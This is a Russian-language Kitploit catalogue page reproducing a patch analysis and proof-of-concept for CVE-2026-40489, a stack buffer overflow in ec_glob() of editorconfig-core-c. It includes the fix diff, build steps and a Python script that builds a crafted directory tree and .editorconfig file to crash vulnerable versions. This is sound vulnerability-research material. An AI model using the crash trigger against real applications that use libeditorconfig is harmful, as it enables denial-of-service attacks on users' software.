Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40489 — Концепция доказательства и анализ патча для CVE-2026-40489 — переполнение буфера в стеке в функции ec_glob() в editorconfig-core-c, включая шаги сборки и Python-скрипт для вызова сбоя. | Kitploit
Инструменты/GitHubGitHub/saretawa/cve-2026-40489
Статический анализКриминалистика памятиАнализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubsaretawa/cve-2026-40489

CVE-2026-40489

Концепция доказательства и анализ патча для CVE-2026-40489 — переполнение буфера в стеке в функции ec_glob() в editorconfig-core-c, включая шаги сборки и Python-скрипт для вызова сбоя.

Репозиторий
114 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Описание CVE от NIST:

editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to 
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application 
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete 
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received 
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains 
an updated fix.

клонируйте обе версии:

git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c

# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4

# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8

мы сравним его:

git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c

Разница:

diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
     _Bool                     are_braces_paired = 1;
     UT_array *                nums;     /* number ranges */
     int                       ret = 0;
+    size_t                    pattern_len = strlen(pattern);

-    strcpy(l_pattern, pattern);
+    /* Reject patterns that would overflow l_pattern in the copy below. */
+    if (pattern_len >= sizeof(l_pattern))
+        return -1;
+    memcpy(l_pattern, pattern, pattern_len + 1);
     p_pcre = pcre_str + 1;
     pcre_str_end = pcre_str + 2 * PATTERN_MAX;

старый код был одной строкой: 

strcpy(l_pattern, pattern);

копирует байты, пока не встретит нулевой терминатор, и её не волнует размер назначения. Если pattern длиннее 8194 байт (2 * PATTERN_MAX), она записывает за конец l_pattern и на стек.

исправление делает три вещи:

  1. сначала измеряет  strlen(pattern) получает длину до копирования чего-либо
  2. проверяет границы  если длина ≥ размера буфера, она завершается с -1 вместо копирования. >= (а не >) важно, потому что нужно место и для нулевого терминатора.
  3. использует memcpy вместо strcpy  поскольку длина уже известна, нет причин снова сканировать строку. memcpy копирует ровно pattern_len + 1 байт (+1 включает нулевой терминатор).

мы соберём бинарник и убедимся, что он работает:

rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make

PoC:

import os
import subprocess
import shutil

base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
    nested = os.path.join(nested, "[" * 200)

test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")

binary_path = "/tmp/editorconfig"

if os.path.exists(base):
    shutil.rmtree(base)

os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()

# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000

with open(config_file, 'w') as f:
    f.write("root = true\n\n")
    f.write(f"[{glob_pattern}]\n")
    f.write("indent_size = 2\n")

res = subprocess.run([binary_path, test_file], capture_output=True, text=True)

if res.returncode == -6:
    print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
    print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
    print(f"[-] not vulnerable (return code: {res.returncode})")

Бинарный файл ищет .editorconfig в папке, где находится .txt, и читает из него glob-шаблон.

вы запускаете editorconfig /tmp/dummy-config/[[[[[.../test.txt, бинарному файлу нужно сопоставить имя файла с glob-шаблоном из .editorconfig, для этого он строит полный шаблон вида: /tmp/dummy-config/\[\[\[\[.../**/AAAA.... Он добавляет путь к каталогу перед glob-шаблоном, чтобы можно было сопоставлять с полным путём к файлу.

[ означает что-то в синтаксисе glob (это класс символов, вроде [a-z]). В имени каталога буквально есть [, он не задуман как glob. Поэтому код экранирует каждый из них обратной косой чертой: [ → \[. Это означает «литеральный [, а не glob». editorconfig.c делает это автоматически. Когда он читает путь к вашему файлу .editorconfig, он перебирает каждый символ и, если находит какой-либо glob-специальный символ, вставляет перед ним \. Это происходит ещё до того, как путь достигает ec_glob()

Каждый [ в пути получает один дополнительный символ. 2100 символов становятся ~4200. Добавьте сверху 4000-символьный glob, и эта строка передаётся в ec_glob(), который выполняет strcpy(l_pattern, pattern) в буфер размером 8194 байта. 8203 > 8194, что означает запись за пределы буфера.

в современном Linux с FORTIFY_SOURCE среда выполнения обнаруживает перезапись и убивает процесс сигналом SIGABRT (сигнал 6). Python видит это как код возврата -6, код возврата -6 означает, что уязвим, 0 или 1 = исправлено (исправление добавляет проверку длины перед копированием и возвращает -1, если она слишком длинная)

Скачать инструмент